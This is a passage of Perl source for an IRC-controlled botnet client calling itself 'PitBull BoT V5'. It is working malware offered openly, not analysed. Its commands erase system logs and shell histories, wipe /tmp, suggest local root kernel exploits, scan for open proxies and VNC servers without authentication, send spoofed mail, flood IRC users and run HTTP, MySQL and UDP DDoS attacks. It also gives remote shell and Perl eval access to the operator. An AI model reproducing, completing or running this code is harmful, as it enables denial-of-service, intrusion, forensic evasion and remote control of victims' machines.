  694. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ LogCleaner 12] All default log and bash_history files erased");
  695. sleep 1;
  696. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ LogCleaner 12] Now Erasing the rest of the machine log files");
  697. system 'find / -name *.bash_history -exec rm -rf {} \;';
  698. system 'find / -name *.bash_logout -exec rm -rf {} \;';
  699. system 'find / -name "log*" -exec rm -rf {} \;';
  700. system 'find / -name *.log -exec rm -rf {} \;';
  701. sleep 1;
  702. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ LogCleaner 12] Done! All logs erased");
  703. }
  704.  
  705. # A /tmp cleaner
  706. if ($funcarg =~ /^cleartmp/) {
  707. system 'cd /tmp;rm -rf *';
  708. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ TMPCleaner 12] /tmp is Cleaned");
  709. }
  710.  
  711. # Check if a host have a port open.
  712. if ($funcarg =~ /^portchk\s+(.*)\s+(\d+)/) {
  713. my $host=$1;
  714. my $port=$2;
  715. my $scansock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Timeout => 8);
  716. if ($scansock)
  717. {
  718. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ PortChk 12] Port: 4 ".$port." 12is open on the host 4 ".$host." ");
  719. $scansock->close;
  720. }
  721. else
  722. {
  723. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ PortChk 12] Port: 4 ".$port." 12is closed on the host 4 ".$host." ");
  724. }
  725. }
  726.  
  727. # Chk The News from PacketStorm
  728. if ($funcarg =~ /^packetstorm/) {
  729. my $c=0;
  730. my $x;
  731. my @ttt=();
  732. my @ttt1=();
  733. my $sock = IO::Socket::INET->new(PeerAddr=>"www.packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp") or return;
  734. print $sock "GET /whatsnew20.xml HTTP/1.0\r\n";
  735. print $sock "Host: www.packetstormsecurity.org\r\n";
  736. print $sock "Accept: */*\r\n";
  737. print $sock "User-Agent: Mozilla/5.0\r\n\r\n";
  738. my @r = <$sock>;
  739. $page="@r";
  740. close($sock);
  741. while ($page =~ m/<link>(.*)<\/link>/g)
  742. {
  743. push(@ttt,$1);
  744. }
  745. while ($page =~ m/<description>(.*)<\/description>/g)
  746. {
  747. push(@ttt1,$1);
  748. }
  749. foreach $x (0..(@ttt - 1))
  750. {
  751. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ PacketStorm 12] ".$ttt[$x]." ".$ttt1[$x]."");
  752. sleep 3;
  753. $c++;
  754. }
  755. }
  756.  
  757. if ($funcarg =~ /^rootable/) {
  758. my $khost = `uname -r`;
  759. my $currentid = `whoami`;
  760. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Rootable 12] Currently you are ".$currentid." ");
  761. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Rootable 12] The kernel of this box is ".$khost." ");
  762. chomp($khost);
  763.  
  764. my %h;
  765. $h{'w00t'} = {
  766. vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']
  767. };
  768.  
  769. $h{'brk'} = {
  770. vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']
  771. };
  772.  
  773. $h{'ave'} = {
  774. vuln=>['2.4.19','2.4.20']
  775. };
  776.  
  777. $h{'elflbl'} = {
  778. vuln=>['2.4.29']
  779. };
  780.  
  781. $h{'elfdump'} = {
  782. vuln=>['2.4.27']
  783. };
  784.  
  785. $h{'expand_stack'} = {
  786. vuln=>['2.4.29']
  787. };
  788.  
  789. $h{'h00lyshit'} = {
  790. vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']
  791. };
  792.  
  793. $h{'kdump'} = {
  794. vuln=>['2.6.13']
  795. };
  796.  
  797. $h{'km2'} = {
  798. vuln=>['2.4.18','2.4.22']
  799. };
  800.  
  801. $h{'krad'} = {
  802. vuln=>['2.6.11']
  803. };
  804.  
  805. $h{'krad3'} = {
  806. vuln=>['2.6.11','2.6.9']
  807. };
  808.  
  809. $h{'local26'} = {
  810. vuln=>['2.6.13']
  811. };
  812.  
  813. $h{'loko'} = {
  814. vuln=>['2.4.22','2.4.23','2.4.24']
  815. };
  816.  
  817. $h{'mremap_pte'} = {
  818. vuln=>['2.4.20','2.2.25','2.4.24']
  819. };
  820.  
  821. $h{'newlocal'} = {
  822. vuln=>['2.4.17','2.4.19','2.4.18']
  823. };
  824.  
  825. $h{'ong_bak'} = {
  826. vuln=>['2.4.','2.6.']
  827. };
  828.  
  829. $h{'ptrace'} = {
  830. vuln=>['2.2.','2.4.22']
  831. };
  832.  
  833. $h{'ptrace_kmod'} = {
  834. vuln=>['2.4.2']
  835. };
  836.  
  837. $h{'ptrace24'} = {
  838. vuln=>['2.4.9']
  839. };
  840.  
  841. $h{'pwned'} = {
  842. vuln=>['2.4.','2.6.']
  843. };
  844.  
  845. $h{'py2'} = {
  846. vuln=>['2.6.9','2.6.17','2.6.15','2.6.13']
  847. };
  848.  
  849. $h{'raptor_prctl'} = {
  850. vuln=>['2.6.13','2.6.17','2.6.16','2.6.13']
  851. };
  852.  
  853. $h{'prctl3'} = {
  854. vuln=>['2.6.13','2.6.17','2.6.9']
  855. };
  856.  
  857. $h{'remap'} = {
  858. vuln=>['2.4.']
  859. };
  860.  
  861. $h{'rip'} = {
  862. vuln=>['2.2.']
  863. };
  864.  
  865. $h{'stackgrow2'} = {
  866. vuln=>['2.4.29','2.6.10']
  867. };
  868.  
  869. $h{'uselib24'} = {
  870. vuln=>['2.4.29','2.6.10','2.4.22','2.4.25']
  871. };
  872.  
  873. $h{'newsmp'} = {
  874. vuln=>['2.6.']
  875. };
  876.  
  877. $h{'smpracer'} = {
  878. vuln=>['2.4.29']
  879. };
  880.  
  881. $h{'loginx'} = {
  882. vuln=>['2.4.22']
  883. };
  884.  
  885. $h{'exp.sh'} = {
  886. vuln=>['2.6.9','2.6.10','2.6.16','2.6.13']
  887. };
  888.  
  889. $h{'prctl'} = {
  890. vuln=>['2.6.']
  891. };
  892.  
  893. $h{'kmdx'} = {
  894. vuln=>['2.6.','2.4.']
  895. };
  896.  
  897. $h{'raptor'} = {
  898. vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  899. };
  900.  
  901. $h{'raptor2'} = {
  902. vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  903. };
  904.  
  905.  
  906. foreach my $key(keys %h){
  907. foreach my $kernel ( @{ $h{$key}{'vuln'} } ){
  908. if($khost=~/^$kernel/){
  909. chop($kernel) if ($kernel=~/.$/);
  910. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Rootable 12] Possible Local Root Exploits: ". $key ." ");
  911. }
  912. }
  913. }
  914.  
  915. }
  916.  
  917. #Pr0xy Scan
  918. if ($funcarg =~ /^proxy\s+(.*)/) {
  919. my @User_Agent = &Agent();
  920. my $str = $1;
  921. if ($str =~ m/^(a|anon|anonymous)$/i) { $str = "anonymous";}
  922. elsif ($str =~ m/^(transparent|tp|t)$/i) { $str = "transparent";}
  923. elsif ($str =~ m/^(h|high|e|elite)$/i) { $str = "high anonymity";}
  924. my @type = "$str";
  925. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ProxySearcher 12] Search Type: $str");
  926. my @ttt=();
  927. my @ttt1=();
  928. my @ttt2=();
  929. my @ttt3=();
  930. my $sockt = IO::Socket::INET->new(PeerAddr=>"publicproxyservers.com",PeerPort=>"80",Proto=>"tcp") or return;
  931. print $sockt "GET http://www.publicproxyservers.com/page1.html HTTP/1.0\r\nHost: publicproxyservers.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  932. my @rara = <$sockt>;
  933. $page="@rara";
  934. close($sockt);
  935. while ($page =~ m/<td align=\"left\" height=17(.*)<\/td>/g)
  936. {
  937. push(@ttt,$1);
  938. }
  939. while ($page =~ m/<td>([A-Z].*)<\/td>/g)
  940. {
  941. push(@ttt1,$1);
  942. }
  943. while ($page =~ m/<td height=17>(.*)<\/td>/g)
  944. {
  945. push(@ttt2,$1);
  946. }
  947. while ($page =~ m/<td>(anonymous|transparent|high anonymity)<\/td>/g)
  948. {
  949. push(@ttt3,$1);
  950. }
  951. foreach $proxyyy (0..(@ttt - 1))
  952. {
  953. if ($ttt3[$proxyyy] =~ /@type/)
  954. {
  955. ( my $a, my $ipaddr ) = split( />/, $ttt[$x]);
  956. my $prox="".$ipaddr.":".$ttt2[$proxyyy]."";
  957. my $ua = LWP::UserAgent->new;
  958. $ua->timeout(10);
  959. $ua->env_proxy;
  960. $ua->agent($User_Agent[rand(scalar(@User_Agent))]);
  961. $ua->proxy('http', 'http://'.$prox);
  962. my $response = $ua->get("http://www.google.com/search?q=The_PitBull");
  963. if ($response->is_success)
  964. {
  965. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ProxySearcher 12] 4 ".$ipaddr.":".$ttt2[$proxyyy]." 12- 4 $ttt1[$proxyyy] 12- 4 $ttt3[$proxyyy] 12- OK!");
  966. }
  967. }
  968. }
  969. done;
  970. }
  971.  
  972. # A simple mailer, @sendmail <subject> <sender> <recipient> <message>
  973. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  974. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Mailer 12] Sending Mail to : 2 $3");
  975. $subject = $1;
  976. $sender = $2;
  977. $recipient = $3;
  978. @corpo = $4;
  979. $mailtype = "content-type: text/html";
  980. $sendmail = '/usr/sbin/sendmail';
  981. open (SENDMAIL, "| $sendmail -t");
  982. print SENDMAIL "$mailtype\n";
  983. print SENDMAIL "Subject: $subject\n";
  984. print SENDMAIL "From: $sender\n";
  985. print SENDMAIL "To: $recipient\n\n";
  986. print SENDMAIL "@corpo\n\n";
  987. close (SENDMAIL);
  988. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Mailer 12] Mail Sended To : 2 $recipient");
  989. }
  990.  
  991. #SQL Fl00dEr
  992. if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) {
  993. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SQL-DDOS 12] Attacking 4 ".$1." 12 on port 3306 for 4 ".$2." 12 seconds .");
  994. my $itime = time;
  995. my ($cur_time);
  996. $cur_time = time - $itime;
  997. while ($2>$cur_time){
  998. $cur_time = time - $itime;
  999. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306);
  1000. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1001. close($socket);
  1002. }
  1003. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SQL-DDOS 12] Attacking done 4 ".$1.".");
  1004. }
  1005.  
  1006.  
  1007. #r0xb0t 4.6 VNC ScaNNer by iNs
  1008. if ($funcarg =~ /^vnc\s+(.*)/) {
  1009. my $MAX_SOCKET_TIME = 2;
  1010. my $MAX_CONNECT_TIME = 3;
  1011. #&ftpcheckm($printl);
  1012. my @hosts;
  1013. my $MAX_PROCESSES=100;
  1014. my $host=$1;
  1015. #my $victim=$host;
  1016. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ VNC 12] :::: IP Range: 4 $host* ");
  1017. $|=1;
  1018.  
  1019. foreach (0..255) {
  1020. my $pre="$host.$_.";
  1021. foreach (1..255) {
  1022. push(@hosts,$pre.$_);
  1023. }
  1024. }
  1025.  
  1026. my @pids;
  1027. my $npids=0;
  1028.  
  1029. for $victim (@hosts){
  1030. my $pid;
  1031. $pid=fork();
  1032. if($pid>0){
  1033. $npids++;
  1034. if($npids>=$MAX_PROCESSES){
  1035. for(1..($MAX_PROCESSES)){
  1036. $wait_ret=wait();
  1037. if($wait_ret>0){
  1038. $npids--;
  1039. }
  1040. }
  1041. }
  1042. next;
  1043. } elsif(undef $pid) {
  1044. # print "fork error\n" if ($DEBUG);
  1045. exit(0);
  1046. }else{
  1047. my($proto,$port);
  1048. $0="";
  1049. # kill thread on timeout
  1050. local $SIG{'ALRM'} = sub { exit(0); };
  1051. alarm $MAX_SOCKET_TIME;
  1052. my $port=5900;
  1053. print "Connecting to $victim:$port..."; #$| = 1;
  1054. ($sock = IO::Socket::INET->new(PeerAddr => $victim,
  1055. PeerPort => $port,
  1056. Proto => 'tcp',)) ? print "\n"
  1057. : die("\n");
  1058.  
  1059. #negotiate protocol
  1060. $sock->read($protocol_version,12);
  1061. print $sock $protocol_version;
  1062. #print "Using protocol $protocol_version";
  1063. # get security types that we'll be ignoring
  1064. $sock->read($security_types,1);
  1065. $sock->read($hahaha,unpack('C',$security_types));
  1066. # choose no authentication
  1067. print $sock "\x01";
  1068. # we should get "0000" back
  1069. $sock->read($in,4);
  1070. if(unpack('I',$in)) { die("\n") };
  1071. # client initialize
  1072. print $sock "\x01";
  1073. # if the server starts sending data we are in
  1074. $sock->read($in,4);
  1075. (unpack('I',$in)) ?
  1076. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ VNC 12] :::: 4 ".$victim." 12is Vulnerable using protocol 4 ".$protocol_version)
  1077. #print("Vulnerable!\n")
  1078. : die("\n") ;
  1079.  
  1080. exit;
  1081.  
  1082. }
  1083. }
  1084.  
  1085. for(1..$npids){
  1086. my $wt=wait();
  1087. if($wt==-1){
  1088. # print "hey $!\n" if($DEBUG);
  1089. redo;
  1090. }
  1091. }
  1092. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ VNC 12] :::: Finished Scan for 4 $host ");
  1093. }
  1094.  
  1095. #-#-#-#-#-#-#-#-#
  1096. # IRC #
  1097. #-#-#-#-#-#-#-#-#
  1098. # join a other channel, @join #channel
  1099. if ($funcarg =~ /^join (.*)/) {
  1100. sendraw($IRC_cur_socket, "JOIN ".$1);
  1101. }
  1102. # part a other channel, @part #channel
  1103. if ($funcarg =~ /^part (.*)/) {
  1104. sendraw($IRC_cur_socket, "PART ".$1);
  1105. }
  1106. # quit irc, @quit <reason>
  1107. if ($funcarg =~ /^quit (.*)/) {
  1108. sendraw($IRC_cur_socket, "QUIT ".$1);
  1109. }
  1110. # voice, @voice <who>
  1111. if ($funcarg =~ /^voice (.*)/) {
  1112. sendraw($IRC_cur_socket, "MODE $printl +v ".$1);
  1113. }
  1114. # devoice, @devoice <who>
  1115. if ($funcarg =~ /^devoice (.*)/) {
  1116. sendraw($IRC_cur_socket, "MODE $printl -v ".$1);
  1117. }
  1118. # halfop, @halfop <who>
  1119. if ($funcarg =~ /^halfop (.*)/) {
  1120. sendraw($IRC_cur_socket, "MODE $printl +h ".$1);
  1121. }
  1122. # dehalfop, @dehalfop <who>
  1123. if ($funcarg =~ /^dehalfop (.*)/) {
  1124. sendraw($IRC_cur_socket, "MODE $printl -h ".$1);
  1125. }
  1126. # op, @op <who>
  1127. if ($funcarg =~ /^op (.*)/) {
  1128. sendraw($IRC_cur_socket, "MODE $printl +o ".$1);
  1129. }
  1130. # deop, @deop <who>
  1131. if ($funcarg =~ /^deop (.*)/) {
  1132. sendraw($IRC_cur_socket, "MODE $printl -o ".$1);
  1133. }
  1134. # +Q, @owner <who>
  1135. if ($funcarg =~ /^owner (.*)/) {
  1136. sendraw($IRC_cur_socket, "MODE $printl +q ".$1);
  1137. }
  1138. # -Q, @deowner <who>
  1139. if ($funcarg =~ /^deowner (.*)/) {
  1140. sendraw($IRC_cur_socket, "MODE $printl -q ".$1);
  1141. }
  1142.  
  1143. #-#-#-#-#-#-#-#-#
  1144. # Flooders IRC #
  1145. #-#-#-#-#-#-#-#-#
  1146. # msg, @msgflood <who>
  1147. if ($funcarg =~ /^msgflood (.+?) (.*)/) {
  1148. for($i=0; $i<=10; $i+=1){
  1149. sendraw($IRC_cur_socket, "PRIVMSG ".$1." ".$2);
  1150. }
  1151. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MSGFlood 12] 14 Excecuted on ".$1." ");
  1152. }
  1153.  
  1154. # dccflood, @dccflood <who>
  1155. if ($funcarg =~ /^dccflood (.*)/) {
  1156. for($i=0; $i<=10; $i+=1){
  1157. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n");
  1158. }
  1159. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ DCCFlood 12] 14 Excecuted on ".$1." ");
  1160. }
  1161.  
  1162. # ctcpflood, @ctcpflood <who>
  1163. if ($funcarg =~ /^ctcpflood (.*)/) {
  1164. for($i=0; $i<=10; $i+=1){
  1165. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  1166. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  1167. }
  1168. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ CTCPFlood 12] 14 Excecuted on ".$1." ");
  1169. }
  1170.  
  1171. # noticeflood, @noticeflood <who>
  1172. if ($funcarg =~ /^noticeflood (.*)/) {
  1173. for($i=0; $i<=10; $i+=1){
  1174. sendraw($IRC_cur_socket, "NOTICE ".$1." :PitBull BoT V5\n");
  1175. }
  1176. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ NoticeFlood 12] 14 Excecuted on ".$1." ");
  1177. }
  1178.  
  1179. # Channel Flood, @channelflood
  1180. if ($funcarg =~ /^channelflood/) {
  1181. for($i=0; $i<=25; $i+=1){
  1182. sendraw($IRC_cur_socket, "JOIN #".(int(rand(99999))) );
  1183. }
  1184. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ChannelFlood 12] 14 Excecuted ");
  1185. }
  1186.  
  1187. # Maxi Flood, @maxiflood
  1188. if ($funcarg =~ /^maxiflood(.*)/) {
  1189. for($i=0; $i<=15; $i+=1){
  1190. sendraw($IRC_cur_socket, "NOTICE ".$1." :PitBull BoT V5 M4Xi-Fl00d\n");
  1191. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  1192. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  1193. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :PitBull BoT V5 M4Xi-Fl00d\n");
  1194. }
  1195. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ M4Xi-Fl00d 12] 14 Excecuted on ".$1." ");
  1196. }
  1197.  
  1198.  
  1199.  
  1200. #-#-#-#-#-#-#-#-#
  1201. # DDOS #
  1202. #-#-#-#-#-#-#-#-#
  1203.  
  1204. #HTTP Flooder
  1205. if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  1206. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ HTTP-DDOS 12] Attacking 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds .");
  1207. my $itime = time;
  1208. my ($cur_time);
  1209. $cur_time = time - $itime;
  1210. while ($2>$cur_time){
  1211. $cur_time = time - $itime;
  1212. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  1213. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1214. close($socket);
  1215. }
  1216. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ HTTP-DDOS 12] Attacking done 4 ".$1.".");
  1217. }
  1218.  
  1219.  
  1220. # UDP Flooder
  1221. if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1222. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ UDP-DDOS 12] Attacking 4 ".$1." 12 with 4 ".$2." 12 Kb Packets for 4 ".$3." 12 seconds. ");
  1223. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  1224. $dtime = 1 if $dtime == 0;
  1225. my %bytes;
  1226. $bytes{igmp} = $2 * $pacotes{igmp};
  1227. $bytes{icmp} = $2 * $pacotes{icmp};
  1228. $bytes{o} = $2 * $pacotes{o};
  1229. $bytes{udp} = $2 * $pacotes{udp};
  1230. $bytes{tcp} = $2 * $pacotes{tcp};
  1231. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ UDP-DDOS 12] 12Results 4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in 4 ".$dtime." 12seconds to 4 ".$1.".");
  1232. }
  1233. exit;
  1234. }
  1235. }
  1236.  
  1237.  
  1238. sub ircase {
  1239. my ($kem, $printl, $case) = @_;
  1240. if ($case =~ /^join (.*)/) {
  1241. j("$1");
  1242. }
  1243. if ($case =~ /^part (.*)/) {
  1244. p("$1");
  1245. }
  1246. if ($case =~ /^rejoin\s+(.*)/) {
  1247. my $chan = $1;
  1248. if ($chan =~ /^(\d+) (.*)/) {
  1249. for (my $ca = 1; $ca <= $1; $ca++ ) {
  1250. p("$2");
  1251. j("$2");
  1252. }
  1253. }
  1254. else {
  1255. p("$chan");
  1256. j("$chan");
  1257. }
  1258. }
  1259.  
  1260. if ($case =~ /^op/) {
  1261. op("$printl", "$kem") if $case eq "op";
  1262. my $oarg = substr($case, 3);
  1263. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1264. }
  1265.  
  1266. if ($case =~ /^deop/) {
  1267. deop("$printl", "$kem") if $case eq "deop";
  1268. my $oarg = substr($case, 5);
  1269. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1270. }
  1271.  
  1272. if ($case =~ /^msg\s+(\S+) (.*)/) {
  1273. msg("$1", "$2");
  1274. }
  1275.  
  1276. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  1277. for (my $cf = 1; $cf <= $1; $cf++) {
  1278. msg("$2", "$3");
  1279. }
  1280. }
  1281.  
  1282. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  1283. ctcp("$1", "$2");
  1284. }
  1285.  
  1286. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  1287. for (my $cf = 1; $cf <= $1; $cf++) {
  1288. ctcp("$2", "$3");
  1289. }
  1290. }
  1291.  
  1292. if ($case =~ /^nick (.*)/) {
  1293. nick("$1");
  1294. }
  1295.  
  1296. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  1297. conectar("$2", "$1", 6667);
  1298. }
  1299.  
  1300. if ($case =~ /^raw (.*)/) {
  1301. sendraw("$1");
  1302. }
  1303.  
  1304. if ($case =~ /^eval (.*)/) {
  1305. eval "$1";
  1306. }
  1307. }
  1308.  
  1309.  
  1310. sub shell {
  1311. my $printl=$_[0];
  1312. my $comando=$_[1];
  1313. if ($comando =~ /cd (.*)/) {
  1314. chdir("$1") || msg("$printl", "No such file or directory");
  1315. return;
  1316. }
  1317.  
  1318. elsif ($pid = fork) {
  1319. waitpid($pid, 0);
  1320. }
  1321. else {
  1322. if (fork) {
  1323. exit;
  1324.  
  1325. } else {
  1326. my @resp=`$comando 2>&1 3>&1`;
  1327. my $c=0;
  1328. foreach my $linha (@resp) {
  1329. $c++;
  1330. chop $linha;
  1331. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SH3LL 12] 14 $linha");
  1332. if ($c == "$max_lines") {
  1333. $c=0;
  1334. sleep $sleeping;
  1335. }
  1336. }
  1337. exit;
  1338. }
  1339. }
  1340. }
  1341.  
  1342.  
  1343. sub Agent(){
  1344. my @ret = (
  1345. "Microsoft Internet Explorer/4.0b1 (Windows 95)",
  1346. "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)",
  1347. "Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)",
  1348. "Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)",
  1349. "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)",
  1350. "Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)",
  1351. "Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)",
  1352. "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
  1353. "Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)",
  1354. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  1355. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)",
  1356. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)",
  1357. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)",
  1358. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
  1359. "Mozilla/4.0 (compatible; MSIE 7.0b; Win32)",
  1360. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  1361. "Microsoft Pocket Internet Explorer/0.6",
  1362. "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)",
  1363. "MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;",
  1364. "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)",
  1365. "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)",
  1366. "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)",
  1367. "Advanced Browser (http://www.avantbrowser.com)",
  1368. "Avant Browser (http://www.avantbrowser.com)",
  1369. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)",
  1370. "Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)",
  1371. "Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)",
  1372. "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007",
  1373. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
  1374. "Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929",
  1375. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0",
  1376. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox",
  1377. "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4",
  1378. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5",
  1379. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6",
  1380. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6",
  1381. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
  1382. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
  1383. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
  1384. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
  1385. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5",
  1386. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
  1387. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
  1388. "Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1",
  1389. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
  1390. "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1",
  1391. "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2",
  1392. "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0",
  1393. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b",
  1394. "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0",
  1395. "Mozilla/3.0 (OS/2; U)",
  1396. "Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)",
  1397. "Mozilla/4.61 (Macintosh; I; PPC)",
  1398. "Mozilla/4.61 [en] (OS/2; U)",
  1399. "Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)",
  1400. "Mozilla/4.8 [en] (Windows NT 5.0; U)" );
  1401. return(@ret);
  1402. }
  1403.  
  1404. sub udpflooder {
  1405. my $iaddr = inet_aton($_[0]);
  1406. my $msg = 'A' x $_[1];
  1407. my $ftime = $_[2];
